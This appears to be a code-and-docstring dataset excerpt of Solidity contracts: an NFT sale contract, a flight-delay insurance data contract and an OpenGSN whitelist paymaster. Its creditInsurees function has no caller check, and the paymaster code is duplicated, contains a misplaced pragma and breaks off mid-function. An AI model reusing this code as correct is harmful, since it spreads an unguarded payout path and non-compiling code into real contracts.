require(msg.value == _amount.mul(priceToUse), "we only accept exact payment");
tokens.mint(msg.sender, _amount);
emit LogTokensBought(msg.sender, _amount, msg.value);
}
/// @dev Returns the details of a CryptoTakeovers asset.
/// @param _tokenId the ID of the asset
/// @return tokenId the ID of the asset
/// @return owner the address of the asset's owner
/// @return tokenURI the URI of the asset's metadata
/// @return price the asset
/// @return forSale a bool indicating if the asset is up for sale or not
function getItem(uint256 _tokenId) external view
returns(uint256 tokenId, address owner, string tokenURI, uint256 price, uint256 discountedPrice, bool forSale, bool discounted) {
tokenId = _tokenId;
owner = items.ownerOf(_tokenId);
tokenURI = items.tokenURI(_tokenId);
price = tokenPrices[_tokenId];
discountedPrice = discountedItemPrices[_tokenId];
forSale = isTokenForSale(_tokenId);
discounted = _isTokenDiscounted(_tokenId);
}
/// @dev Returns the details of up to 20 assets in one call. Acts as a performance optimization for getItem.
/// @param _fromIndex the index of the first asset to return (inclusive)
/// @param _toIndex the index of the last asset to return (exclusive. use the array's length value to get the last asset)
/// @return ids the IDs of the requested assets
/// @return owners the addresses of the owners of the requested assets
/// @return prices the prices of the requested assets
function getItemsForSale(uint256 _fromIndex, uint256 _toIndex) public view
returns(uint256[20] ids, address[20] owners, uint256[20] prices, uint256[20] discountedPrices) {
require(_toIndex <= itemsForSale.length);
require(_fromIndex < _toIndex);
require(_toIndex.sub(_fromIndex) <= ids.length);
uint256 resultIndex = 0;
for (uint256 index = _fromIndex; index < _toIndex; index++) {
uint256 tokenId = itemsForSale[index];
ids[resultIndex] = tokenId;
owners[resultIndex] = items.ownerOf(tokenId);
prices[resultIndex] = tokenPrices[tokenId];
discountedPrices[resultIndex] = discountedItemPrices[tokenId];
resultIndex = resultIndex.add(1);
}
}
/// @dev Returns the details of up to 20 items that have been set with a discounted price.
/// @param _fromIndex the index of the first item to get (inclusive)
/// @param _toIndex the index of the last item to get (exclusive)
/// @return ids the IDs of the requested items
/// @return owners the owners of the requested items
/// @return prices the prices of the requested items
/// @return discountedPrices the discounted prices of the requested items
function getDiscountedItemsForSale(uint256 _fromIndex, uint256 _toIndex) public view
returns(uint256[20] ids, address[20] owners, uint256[20] prices, uint256[20] discountedPrices) {
require(_toIndex <= discountedItems.length, "toIndex out of bounds");
require(_fromIndex < _toIndex, "fromIndex must be less than toIndex");
require(_toIndex.sub(_fromIndex) <= ids.length, "requested range cannot exceed 20 items");
uint256 resultIndex = 0;
for (uint256 index = _fromIndex; index < _toIndex; index++) {
uint256 tokenId = discountedItems[index];
ids[resultIndex] = tokenId;
owners[resultIndex] = items.ownerOf(tokenId);
prices[resultIndex] = tokenPrices[tokenId];
discountedPrices[resultIndex] = discountedItemPrices[tokenId];
resultIndex = resultIndex.add(1);
}
}
/// @dev Returns whether a specific asset is for sale.
/// @param _tokenId the ID of the asset
/// @return true if the asset is for sale, and false otherwise
function isTokenForSale(uint256 _tokenId) internal view returns(bool) {
return tokenPrices[_tokenId] != 0;
}
/// @dev Returns the total number of assets for sale.
/// @return the total number of assets for sale
function totalItemsForSale() public view returns(uint256) {
return itemsForSale.length;
}
/// @dev Returns the number of assets for the provided account.
/// @return the number of assets owner owns
function NFTBalanceOf(address _owner) public view returns (uint256) {
return items.balanceOf(_owner);
}
/// @dev Returns up to 20 IDs of assets for the provided account.
/// @return an array of tokenIDs
function tokenOfOwnerByRange(address _owner, uint256 _fromIndex, uint256 _toIndex) public view returns(uint256[20] ids) {
require(_toIndex <= items.balanceOf(_owner));
require(_fromIndex < _toIndex);
require(_toIndex.sub(_fromIndex) <= ids.length);
uint256 resultIndex = 0;
for (uint256 index = _fromIndex; index < _toIndex; index++) {
ids[resultIndex] = items.tokenOfOwnerByIndex(_owner, index);
resultIndex = resultIndex.add(1);
}
}
/// @dev Returns the token balance of the provided account.
/// @return the number of tokens owner owns
function tokenBalanceOf(address _owner) public view returns (uint256) {
return tokens.balanceOf(_owner);
}
/// @dev Returns the total number of assets with a discounted price.
/// @return the number of items set with a discounted price
function totalDiscountedItemsForSale() public view returns (uint256) {
return discountedItems.length;
}
/*
* Operator (authorized) functions
*/
/// @dev Allows the operator to give assets without payment. Will be used to perform asset airdrops.
/// Only works on items that have not been sold yet.
/// @param _to the address to give the asset to
/// @param _tokenId the ID of the asset to give
/// @param _tokenPrice the price of the gifted token
function giftNFT(address _to, uint256 _tokenId, uint256 _tokenPrice) public onlyOperator {
require(_to != address(0));
require(items.ownerOf(_tokenId) == operator);
require(_tokenPrice > 0, "must provide the token price to log");
if (isTokenForSale(_tokenId)) {
_setItemNotForSale(_tokenId);
}
items.hostileTakeover(_to, _tokenId);
emit LogNFTGifted(_to, _tokenId, _tokenPrice, operator);
}
/// @dev Allows the operator to give tokens without payment. Will be used to perform token airdrops.
/// @param _to the address to give tokens to (cannot be 0x0)
/// @param _amount the amount of tokens to mint and give
function giftTokens(address _to, uint256 _amount) public onlyOperator {
require(_to != address(0));
require(_amount > 0);
tokens.mint(_to, _amount);
emit LogTokensGifted(_to, _amount, operator);
}
/// @dev Allows the operator to burn an item in case of any errors in setting up the items for sale.
/// It uses items.burn which makes sure it only works for items we haven't sold yet (i.e. only works
/// for items owned by the operator).
/// @param _tokenId the ID of the asset to burn
function burnNFT(uint256 _tokenId) public onlyOperator {
if (isTokenForSale(_tokenId)) {
_setItemNotForSale(_tokenId);
}
items.burn(_tokenId);
emit LogNFTBurned(_tokenId, operator);
}
/// @dev Allows the operator to set the discounted prices of tokens per threshold of purchased amount.
/// @param _tokenDiscountThresholds an array of token quantity thresholds. Cannot contain more than 10 items
/// @param _tokenDiscountedPrices an array of token prices to match each quantity threshold. Cannot contain more than 10 items
function setTokenPrices(uint256[] _tokenDiscountThresholds, uint256[] _tokenDiscountedPrices) public onlyOperator {
require(_tokenDiscountThresholds.length <= 10, "inputs length must be under 10 options");
require(_tokenDiscountThresholds.length == _tokenDiscountedPrices.length, "input arrays must have the same length");
emit LogTokenPricesSet(tokenDiscountThresholds, tokenDiscountedPrices, _tokenDiscountThresholds, _tokenDiscountedPrices, operator);
tokenDiscountThresholds = _tokenDiscountThresholds;
tokenDiscountedPrices = _tokenDiscountedPrices;
}
/// @dev Returns the discount thresholds and prices that match those thresholds in two arrays.
/// @return discountThresholds an array of discount thresholds
/// @return discountedPrices an array of token prices per threshold
function getTokenPrices() public view returns(uint256[10] discountThresholds, uint256[10] discountedPrices) {
for (uint256 index = 0; index < tokenDiscountThresholds.length; index++) {
discountThresholds[index] = tokenDiscountThresholds[index];
discountedPrices[index] = tokenDiscountedPrices[index];
}
}
/// @dev Allows the operator to create an asset but not put it up for sale yet.
/// @param _tokenId the ID of the asset to mint
/// @param _tokenURI the URI of the asset's metadata
function mintNFTNotForSale(uint256 _tokenId, string _tokenURI) public onlyOperator {
items.mint(_tokenId, _tokenURI);
emit LogNFTMintedNotForSale(_tokenId, operator);
}
/// @dev A bulk optimization for mintNFTNotForSale
/// @param _tokenIds the IDs of the tokens to mint
/// @param _tokenURIParts parts of the base URI, e.g. ["https://", "host.com", "/path"]
function mintNFTsNotForSale(uint256[] _tokenIds, bytes32[] _tokenURIParts) public onlyOperator {
require(_tokenURIParts.length > 0, "need at least one string to build URIs");
for (uint256 index = 0; index < _tokenIds.length; index++) {
uint256 tokenId = _tokenIds[index];
string memory tokenURI = _generateTokenURI(_tokenURIParts, tokenId);
mintNFTNotForSale(tokenId, tokenURI);
}
}
/// @dev Allows the operator to create an asset and immediately put it up for sale.
/// @param _tokenId the ID of the asset to mint
/// @param _tokenURI the URI of the asset's metadata
/// @param _tokenPrice the price of the asset
function mintNFTForSale(uint256 _tokenId, string _tokenURI, uint256 _tokenPrice) public onlyOperator {
tokenPrices[_tokenId] = _tokenPrice;
itemsForSaleIndex[_tokenId] = itemsForSale.push(_tokenId).sub(1);
items.mint(_tokenId, _tokenURI);
emit LogNFTMintedForSale(_tokenId, _tokenPrice, operator);
}
/// @dev A bulk optimization for mintNFTForSale
/// @param _tokenIds the IDs for the tokens to mint
/// @param _tokenURIParts parts of the base URI, e.g. ["https://", "host.com", "/path"]
/// @param _tokenPrices the prices of the tokens to mint
function mintNFTsForSale(uint256[] _tokenIds, bytes32[] _tokenURIParts, uint256[] _tokenPrices) public onlyOperator {
require(_tokenIds.length == _tokenPrices.length, "ids and prices must have the same length");
require(_tokenURIParts.length > 0, "must have URI parts to build URIs");
for (uint256 index = 0; index < _tokenIds.length; index++) {
uint256 tokenId = _tokenIds[index];
uint256 tokenPrice = _tokenPrices[index];
string memory tokenURI = _generateTokenURI(_tokenURIParts, tokenId);
mintNFTForSale(tokenId, tokenURI, tokenPrice);
}
}
/// @dev Allows the operator to take an asset that's not up for sale and put it up for sale.
/// @param _tokenId the ID of the asset
/// @param _tokenPrice the price of the asset
function setItemForSale(uint256 _tokenId, uint256 _tokenPrice) public onlyOperator {
require(items.exists(_tokenId));
require(!isTokenForSale(_tokenId));
require(items.ownerOf(_tokenId) == operator, "cannot set item for sale after it has been sold");
tokenPrices[_tokenId] = _tokenPrice;
itemsForSaleIndex[_tokenId] = itemsForSale.push(_tokenId).sub(1);
emit LogNFTSetForSale(_tokenId, _tokenPrice, operator);
}
/// @dev A bulk optimization for setItemForSale.
/// @param _tokenIds an array of IDs of assets to update
/// @param _tokenPrices an array of prices to set
function setItemsForSale(uint256[] _tokenIds, uint256[] _tokenPrices) public onlyOperator {
require(_tokenIds.length == _tokenPrices.length);
for (uint256 index = 0; index < _tokenIds.length; index++) {
setItemForSale(_tokenIds[index], _tokenPrices[index]);
}
}
/// @dev Allows the operator to take down an item for sale.
/// @param _tokenId the ID of the asset to take down
function setItemNotForSale(uint256 _tokenId) public onlyOperator {
_setItemNotForSale(_tokenId);
emit LogNFTSetNotForSale(_tokenId, operator);
}
/// @dev A bulk optimization for setItemNotForSale.
/// @param _tokenIds an array of IDs of assets to update
function setItemsNotForSale(uint256[] _tokenIds) public onlyOperator {
for (uint256 index = 0; index < _tokenIds.length; index++) {
setItemNotForSale(_tokenIds[index]);
}
}
/// @dev Allows the operator to update an asset's price.
/// @param _tokenId the ID of the asset
/// @param _tokenPrice the new price to set
function updateItemPrice(uint256 _tokenId, uint256 _tokenPrice) public onlyOperator {
require(items.exists(_tokenId));
require(items.ownerOf(_tokenId) == operator);
require(isTokenForSale(_tokenId));
tokenPrices[_tokenId] = _tokenPrice;
}
/// @dev A bulk optimization for updateItemPrice
/// @param _tokenIds the IDs of tokens to update
/// @param _tokenPrices the new prices to set
function updateItemsPrices(uint256[] _tokenIds, uint256[] _tokenPrices) public onlyOperator {
require(_tokenIds.length == _tokenPrices.length, "input arrays must have the same length");
for (uint256 index = 0; index < _tokenIds.length; index++) {
updateItemPrice(_tokenIds[index], _tokenPrices[index]);
}
}
/// @dev Allows the operator to set discount prices for specific items.
/// @param _tokenIds the IDs of items to set a discount price for
/// @param _discountPrices the discount prices to set
function setDiscounts(uint256[] _tokenIds, uint256[] _discountPrices) public onlyOperator {
require(_tokenIds.length == _discountPrices.length, "input arrays must have the same length");
for (uint256 index = 0; index < _tokenIds.length; index++) {
_setDiscount(_tokenIds[index], _discountPrices[index]);
}
}
/// @dev Allows the operator to remove the discount from specific items.
/// @param _tokenIds the IDs of the items to remove the discount from
function removeDiscounts(uint256[] _tokenIds) public onlyOperator {
for (uint256 index = 0; index < _tokenIds.length; index++) {
_removeDiscount(_tokenIds[index]);
}
}
/// @dev Allows the operator to update discount prices.
/// @param _tokenIds the IDs of the items to update
/// @param _discountPrices the new discount prices to set
function updateDiscounts(uint256[] _tokenIds, uint256[] _discountPrices) public onlyOperator {
require(_tokenIds.length == _discountPrices.length, "arrays must be same-length");
for (uint256 index = 0; index < _tokenIds.length; index++) {
_updateDiscount(_tokenIds[index], _discountPrices[index]);
}
}
/// @dev Allows the operator to reset all discounted items at once.
function resetDiscounts() public onlyOperator {
emit LogDiscountsReset(discountedItems.length, operator);
for (uint256 index = 0; index < discountedItems.length; index++) {
uint256 tokenId = discountedItems[index];
discountedItemPrices[tokenId] = 0;
discountedItemsIndex[tokenId] = 0;
}
discountedItems.length = 0;
}
/// @dev An atomic txn optimization for calling resetDiscounts and then setDiscounts, so we don't have to experience
/// any moment of not having any items under discount.
/// @param _tokenIds the IDs of the new items to discount
/// @param _discountPrices the discounted prices of the new items to discount
function resetOldAndSetNewDiscounts(uint256[] _tokenIds, uint256[] _discountPrices) public onlyOperator {
resetDiscounts();
setDiscounts(_tokenIds, _discountPrices);
}
/// @dev Allows the operator to set the start and end time of the sale.
/// Before startTime and after endTime no one should be able to buy items from this contract.
/// @param _startTime the time the pre-sale should start
/// @param _endTime the time the pre-sale should end
function setStartAndEndTime(uint256 _startTime, uint256 _endTime) public onlyOperator {
require(_startTime >= now);
require(_startTime < _endTime);
startTime = _startTime;
endTime = _endTime;
emit LogStartAndEndTimeSet(_startTime, _endTime, operator);
}
function setStartTime(uint256 _startTime) public onlyOperator {
require(_startTime > 0);
startTime = _startTime;
emit LogStartTimeSet(_startTime, operator);
}
function setEndTime(uint256 _endTime) public onlyOperator {
require(_endTime > 0);
endTime = _endTime;
emit LogEndTimeSet(_endTime, operator);
}
/// @dev Allows the operator to withdraw funds from the sale to the address defined by the owner.
function withdraw() public onlyOperator {
require(withdrawTo != address(0));
uint256 balance = address(this).balance;
require(address(this).balance > 0);
withdrawTo.transfer(balance);
emit LogWithdraw(withdrawTo, balance, owner);
}
/*
* Owner (authorized) functions
*/
/// @dev Allows the owner to change the contract representing the tokens. Reserved for emergency bugs only.
/// Because this is a big deal we hope to avoid ever using it, the operator cannot run it, but only the
/// owner.
/// @param _cryptoTakeoversTokenAddress the address of the new contract to use
function setTokensContract(address _cryptoTakeoversTokenAddress) public onlyOwner {
emit LogTokensContractSet(tokens, _cryptoTakeoversTokenAddress, owner);
tokens = CryptoTakeoversToken(_cryptoTakeoversTokenAddress);
}
/// @dev Allows the owner to change the contract representing the assets. Reserved for emergency bugs only.
/// Because this is a big deal we hope to avoid ever using it, the operator cannot run it, but only the
/// owner.
/// @param _cryptoTakeoversNFTAddress the address of the new contract to use
function setItemsContract(address _cryptoTakeoversNFTAddress) public onlyOwner {
emit LogItemsContractSet(items, _cryptoTakeoversNFTAddress, owner);
items = CryptoTakeoversNFT(_cryptoTakeoversNFTAddress);
}
/// @dev Allows the owner to change the address to which the operator can withdraw this contract's
/// ETH balance.
/// @param _withdrawTo the address future withdraws will go to
function setWithdrawTo(address _withdrawTo) public onlyOwner {
require(_withdrawTo != address(0));
emit LogWithdrawToChanged(withdrawTo, _withdrawTo, owner);
withdrawTo = _withdrawTo;
}
/*
* Internal functions
*/
/// @dev Marks an asset as not for sale.
/// @param _tokenId the ID of the item to take down from the sale
function _setItemNotForSale(uint256 _tokenId) internal {
require(items.exists(_tokenId));
require(isTokenForSale(_tokenId));
if (_isTokenDiscounted(_tokenId)) {
_removeDiscount(_tokenId);
}
tokenPrices[_tokenId] = 0;
uint256 currentTokenIndex = itemsForSaleIndex[_tokenId];
uint256 lastTokenIndex = itemsForSale.length.sub(1);
uint256 lastTokenId = itemsForSale[lastTokenIndex];
itemsForSale[currentTokenIndex] = lastTokenId;
itemsForSale[lastTokenIndex] = 0;
itemsForSale.length = itemsForSale.length.sub(1);
itemsForSaleIndex[_tokenId] = 0;
itemsForSaleIndex[lastTokenId] = currentTokenIndex;
}
function _appendUintToString(string inStr, uint vInput) internal pure returns (string str) {
uint v = vInput;
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory inStrb = bytes(inStr);
bytes memory s = new bytes(inStrb.length + i);
uint j;
for (j = 0; j < inStrb.length; j++) {
s[j] = inStrb[j];
}
for (j = 0; j < i; j++) {
s[j + inStrb.length] = reversed[i - 1 - j];
}
str = string(s);
}
function _bytes32ArrayToString(bytes32[] data) internal pure returns (string) {
bytes memory bytesString = new bytes(data.length * 32);
uint urlLength;
for (uint256 i = 0; i < data.length; i++) {
for (uint256 j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(data[i]) * 2 ** (8 * j)));
if (char != 0) {
bytesString[urlLength] = char;
urlLength += 1;
}
}
}
bytes memory bytesStringTrimmed = new bytes(urlLength);
for (i = 0; i < urlLength; i++) {
bytesStringTrimmed[i] = bytesString[i];
}
return string(bytesStringTrimmed);
}
function _generateTokenURI(bytes32[] _tokenURIParts, uint256 _tokenId) internal pure returns(string tokenURI) {
string memory baseUrl = _bytes32ArrayToString(_tokenURIParts);
tokenURI = _appendUintToString(baseUrl, _tokenId);
}
function _setDiscount(uint256 _tokenId, uint256 _discountPrice) internal {
require(items.exists(_tokenId), "does not make sense to set a discount for an item that does not exist");
require(items.ownerOf(_tokenId) == operator, "we only change items still owned by us");
require(isTokenForSale(_tokenId), "does not make sense to set a discount for an item not for sale");
require(!_isTokenDiscounted(_tokenId), "cannot discount the same item twice");
require(_discountPrice > 0 && _discountPrice < tokenPrices[_tokenId], "discount price must be positive and less than full price");
discountedItemPrices[_tokenId] = _discountPrice;
discountedItemsIndex[_tokenId] = discountedItems.push(_tokenId).sub(1);
emit LogDiscountSet(_tokenId, _discountPrice, operator);
}
function _updateDiscount(uint256 _tokenId, uint256 _discountPrice) internal {
require(items.exists(_tokenId), "item must exist");
require(items.ownerOf(_tokenId) == operator, "we must own the item");
require(_isTokenDiscounted(_tokenId), "must be discounted");
require(_discountPrice > 0 && _discountPrice < tokenPrices[_tokenId], "discount price must be positive and less than full price");
discountedItemPrices[_tokenId] = _discountPrice;
emit LogDiscountUpdated(_tokenId, _discountPrice, operator);
}
function _getItemPrice(uint256 _tokenId) internal view returns(uint256) {
if (_isTokenDiscounted(_tokenId)) {
return discountedItemPrices[_tokenId];
}
return tokenPrices[_tokenId];
}
function _isTokenDiscounted(uint256 _tokenId) internal view returns(bool) {
return discountedItemPrices[_tokenId] != 0;
}
function _removeDiscount(uint256 _tokenId) internal {
require(items.exists(_tokenId), "item must exist");
require(_isTokenDiscounted(_tokenId), "item must be discounted");
discountedItemPrices[_tokenId] = 0;
uint256 currentTokenIndex = discountedItemsIndex[_tokenId];
uint256 lastTokenIndex = discountedItems.length.sub(1);
uint256 lastTokenId = discountedItems[lastTokenIndex];
discountedItems[currentTokenIndex] = lastTokenId;
discountedItems[lastTokenIndex] = 0;
discountedItems.length = discountedItems.length.sub(1);
discountedItemsIndex[_tokenId] = 0;
discountedItemsIndex[lastTokenId] = currentTokenIndex;
emit LogDiscountRemoved(_tokenId, operator);
}
}
|
@dev An atomic txn optimization for calling resetDiscounts and then setDiscounts, so we don't have to experience any moment of not having any items under discount. @param _tokenIds the IDs of the new items to discount @param _discountPrices the discounted prices of the new items to discount
|
function resetOldAndSetNewDiscounts(uint256[] _tokenIds, uint256[] _discountPrices) public onlyOperator {
resetDiscounts();
setDiscounts(_tokenIds, _discountPrices);
}
| 1,789,935
|
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pragma solidity ^0.5.0;
pragma experimental ABIEncoderV2;
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract FlightSuretyData {
using SafeMath for uint256;
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
address private contractOwner; // Account used to deploy contract
bool private operational = true; // Blocks all state changes throughout the contract if false
struct Airline {
bool isRegistered;
string name;
address wallet;
}
struct Flight {
string name;
bool isRegistered;
address airline;
uint statusCode;
uint256 timestamp;
}
struct Insurance {
Flight flight;
uint256 value;
address customer;
}
uint private airlineCount = 0;
uint private next_insurance = 0;
mapping(bytes32 => Flight) private flights;
bytes32[] private flight_keys = new bytes32[](0);
mapping(address => Airline) private airlines;
mapping(uint => Insurance) private insurances;
address[] private insurees = new address[](0);
mapping(address => uint256) private payouts;
mapping(address => uint256) private funds;
mapping(address => uint256) private authorizedContracts;
uint256 public constant MAX_INSURANCE_POLICY = 1 ether;
uint256 public constant AIRLINE_MIN_FUNDS = 10 ether;
/********************************************************************************************/
/* EVENT DEFINITIONS */
/********************************************************************************************/
event CreditedInsuree(address insuree, uint credit, uint total);
/**
* @dev Constructor
* The deploying account becomes contractOwner
*/
constructor
(
)
public
{
contractOwner = msg.sender;
}
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational()
{
require(operational, "Contract is currently not operational");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner()
{
require(msg.sender == contractOwner, "Caller is not contract owner");
_;
}
/**
* @dev Modifier that requires the flight contract is called from authorized flight
*/
modifier isCallerAuthorized() {
require(authorizedContracts[msg.sender] == 1, "Caller is not authorized");
_;
}
/**
* @dev Define a modifier that checks if the paid amount is sufficient to cover the price
*/
modifier paidInRange() {
require(msg.value >= 0, "Nothing was paid for the insurance");
_;
}
/**
* @dev Define a modifier that checks the price and refunds the remaining balance
*/
modifier checkAndRefund(address insuree) {
_;
if (msg.value > MAX_INSURANCE_POLICY) {
uint amountToReturn = msg.value.sub(MAX_INSURANCE_POLICY);
payouts[insuree] = payouts[insuree].add(amountToReturn);
emit CreditedInsuree(insuree, amountToReturn, payouts[insuree]);
}
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
/**
* @dev Get operating status of contract
*
* @return A bool that is the current operating status
*/
function isOperational()
public
view
returns(bool)
{
return operational;
}
/**
* @dev Sets contract operations on/off
*
* When operational mode is disabled, all write transactions except for this one will fail
*/
function setOperatingStatus
(
bool mode
)
external
requireContractOwner
{
operational = mode;
}
/**
* @dev To authorize contract (this function can be requested from front-end)
*/
function authorizeCaller(address caller) public requireContractOwner {
require(authorizedContracts[caller] == 0, "Address already authorized");
authorizedContracts[caller] = 1;
}
/**
* @dev To deauthorize contract
*/
function deauthorizeCaller(address caller) public requireContractOwner {
require(authorizedContracts[caller] == 1, "Address was not authorized");
authorizedContracts[caller] = 0;
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
/**
* @dev Add an airline to the registration queue
* Can only be called from FlightSuretyApp contract
*
*/
function registerAirline(string calldata name, address wallet) external isCallerAuthorized{
require(!airlines[wallet].isRegistered, "Airline is already registered.");
airlines[wallet] = Airline({name : name, isRegistered : true, wallet : wallet});
airlineCount = airlineCount.add(1);
}
/**
* @dev To get the number of airlines registered
*/
function getAirlineCount() public view returns (uint256) {
return airlineCount;
}
function isAirlineRegistered(address wallet) external view returns (bool) {
return airlines[wallet].isRegistered;
}
function isAirlineFunded(address wallet) external view returns (bool) {
return funds[wallet] >= AIRLINE_MIN_FUNDS;
}
/**
* @dev To check whether the specific flight is already registered
*/
function isFlightRegistered(string memory name, uint256 timestamp, address airline) public view returns (bool) {
bytes32 id = getFlightKey(airline, name, timestamp);
return flights[id].isRegistered;
}
/**
* @dev To register flights
*/
function registerFlight(string calldata name, uint256 timestamp, address airline) external isCallerAuthorized {
bool registered = isFlightRegistered(name, timestamp, airline);
require(!registered, "Flight is already registered");
bytes32 id = getFlightKey(airline, name, timestamp);
require(!flights[id].isRegistered, "Flight is already registered.");
flights[id].name = name;
flights[id].isRegistered = true;
flights[id].airline = airline;
flights[id].statusCode = 0;
flights[id].timestamp = timestamp;
flight_keys.push(id);
}
function getFlights() external view returns (string[] memory, address[] memory, uint256[] memory) {
uint l = flight_keys.length;
string[] memory names = new string[](l);
address[] memory airline_addr = new address[](l);
uint256[] memory timestamps = new uint256[](l);
for (uint i = 0; i < l; ++i) {
bytes32 key = flight_keys[i];
names[i] = flights[key].name;
airline_addr[i] = flights[key].airline;
timestamps[i] = flights[key].timestamp;
}
return (names, airline_addr, timestamps);
}
/**
* @dev Buy insurance for a flight
*
*/
function buy(string calldata flight, uint256 timestamp, address airline, address insuree) external payable isCallerAuthorized paidInRange checkAndRefund(insuree){
bytes32 id = getFlightKey(airline, flight, timestamp);
require(flights[id].isRegistered, "Flight does not exist");
uint insurance_value = 0;
if (msg.value >= MAX_INSURANCE_POLICY) {
insurance_value = MAX_INSURANCE_POLICY;
} else {
insurance_value = msg.value;
}
insurances[next_insurance].flight = flights[id];
insurances[next_insurance].customer = insuree;
insurances[next_insurance].value = insurance_value;
next_insurance = next_insurance.add(1);
insurees.push(insuree);
}
/**
* @dev Credits payouts to insurees
*/
function creditInsurees(string calldata flight, uint256 timestamp, address airline) external {
bytes32 id = getFlightKey(airline, flight, timestamp);
for (uint i = 0; i < insurees.length; ++i) {
address insuree = insurances[i].customer;
bytes32 id2 = getFlightKey(insurances[i].flight.airline, insurances[i].flight.name, insurances[i].flight.timestamp);
if(insurances[i].value == 0) continue;
if (id == id2) {
uint256 value = insurances[i].value;
uint256 half = value.div(2);
insurances[i].value = 0;
uint256 refund = value.add(half);
payouts[insuree] = payouts[insuree].add(refund);
emit CreditedInsuree(insuree, refund, payouts[insuree]);
}
}
}
/**
* @dev To check any funds owed to the passenger
*/
function checkFunds(address insuree) external view returns (uint){
return payouts[insuree];
}
/**
* @dev Transfers eligible payout funds to insuree
*/
function pay(address payable insuree) external isCallerAuthorized{
uint refund = payouts[insuree];
payouts[insuree] = 0;
insuree.transfer(refund);
}
/**
* @dev Initial funding for the insurance. Unless there are too many delayed flights
* resulting in insurance payouts, the contract should be self-sustaining
*
*/
function fund(address sender) external payable isCallerAuthorized{
require(msg.value > 0, "No funds are not allowed");
funds[sender] = funds[sender].add(msg.value);
}
function getFlightKey
(
address airline,
string memory flight,
uint256 timestamp
)
pure
internal
returns(bytes32)
{
return keccak256(abi.encodePacked(airline, flight, timestamp));
}
/**
* @dev Fallback function for funding smart contract.
*
*/
function()
external
payable
{
require(msg.value > 0, "No funds are not allowed");
funds[msg.sender] = funds[msg.sender].add(msg.value);
}
}
|
* @dev Initial funding for the insurance. Unless there are too many delayed flights resulting in insurance payouts, the contract should be self-sustaining/
|
function fund(address sender) external payable isCallerAuthorized{
require(msg.value > 0, "No funds are not allowed");
funds[sender] = funds[sender].add(msg.value);
}
| 15,859,700
|
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./full_match/80001/0x7261caC5F1Fe5B3f0A5A5c37B5a77F0d79F387d7/sources/packages/paymasters/contracts/WhitelistPaymaster.sol
|
A sample paymaster that has whitelists for senders, targets and methods. - if at least one sender is whitelisted, then ONLY whitelisted senders are allowed. - if at least one target is whitelisted, then ONLY whitelisted targets are allowed.
|
contract WhitelistPaymaster is BasePaymaster {
bool public useSenderWhitelist;
bool public useTargetWhitelist;
bool public useMethodWhitelist;
bool public useRejectOnRecipientRevert;
mapping(address => bool) public senderWhitelist;
mapping(address => bool) public targetWhitelist;
mapping(address => mapping(bytes4 => bool)) public methodWhitelist;
pragma solidity ^0.8.0;
function versionPaymaster() external view override virtual returns (string memory){
return "3.0.0-beta.3+opengsn.whitelist.ipaymaster";
}
function whitelistSender(address sender, bool isAllowed) public onlyOwner {
senderWhitelist[sender] = isAllowed;
}
function whitelistTarget(address target, bool isAllowed) public onlyOwner {
targetWhitelist[target] = isAllowed;
}
function whitelistMethod(address target, bytes4 method, bool isAllowed) public onlyOwner {
methodWhitelist[target][method] = isAllowed;
}
function setConfiguration(
bool _useSenderWhitelist,
bool _useTargetWhitelist,
bool _useMethodWhitelist,
bool _useRejectOnRecipientRevert
) public onlyOwner {
useSenderWhitelist = _useSenderWhitelist;
useTargetWhitelist = _useTargetWhitelist;
useMethodWhitelist = _useMethodWhitelist;
useRejectOnRecipientRevert = _useRejectOnRecipientRevert;
}
function _preRelayedCall(
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
)
internal
override
virtual
returns (bytes memory context, bool revertOnRecipientRevert) {
(signature, maxPossibleGas);
require(approvalData.length == 0, "approvalData: invalid length");
require(relayRequest.relayData.paymasterData.length == 0, "paymasterData: invalid length");
if (useSenderWhitelist) {
address sender = relayRequest.request.from;
require(senderWhitelist[sender], "sender not whitelisted");
}
if (useTargetWhitelist) {
address target = relayRequest.request.to;
require(targetWhitelist[target], "target not whitelisted");
}
if (useMethodWhitelist) {
address target = relayRequest.request.to;
bytes4 method = GsnUtils.getMethodSig(relayRequest.request.data);
require(methodWhitelist[target][method], "method not whitelisted");
}
return ("", useRejectOnRecipientRevert);
}
function _preRelayedCall(
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
)
internal
override
virtual
returns (bytes memory context, bool revertOnRecipientRevert) {
(signature, maxPossibleGas);
require(approvalData.length == 0, "approvalData: invalid length");
require(relayRequest.relayData.paymasterData.length == 0, "paymasterData: invalid length");
if (useSenderWhitelist) {
address sender = relayRequest.request.from;
require(senderWhitelist[sender], "sender not whitelisted");
}
if (useTargetWhitelist) {
address target = relayRequest.request.to;
require(targetWhitelist[target], "target not whitelisted");
}
if (useMethodWhitelist) {
address target = relayRequest.request.to;
bytes4 method = GsnUtils.getMethodSig(relayRequest.request.data);
require(methodWhitelist[target][method], "method not whitelisted");
}
return ("", useRejectOnRecipientRevert);
}
function _preRelayedCall(
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
)
internal
override
virtual
returns (bytes memory context, bool revertOnRecipientRevert) {
(signature, maxPossibleGas);
require(approvalData.length == 0, "approvalData: invalid length");
require(relayRequest.relayData.paymasterData.length == 0, "paymasterData: invalid length");
if (useSenderWhitelist) {
address sender = relayRequest.request.from;
require(senderWhitelist[sender], "sender not whitelisted");
}
if (useTargetWhitelist) {
address target = relayRequest.request.to;
require(targetWhitelist[target], "target not whitelisted");
}
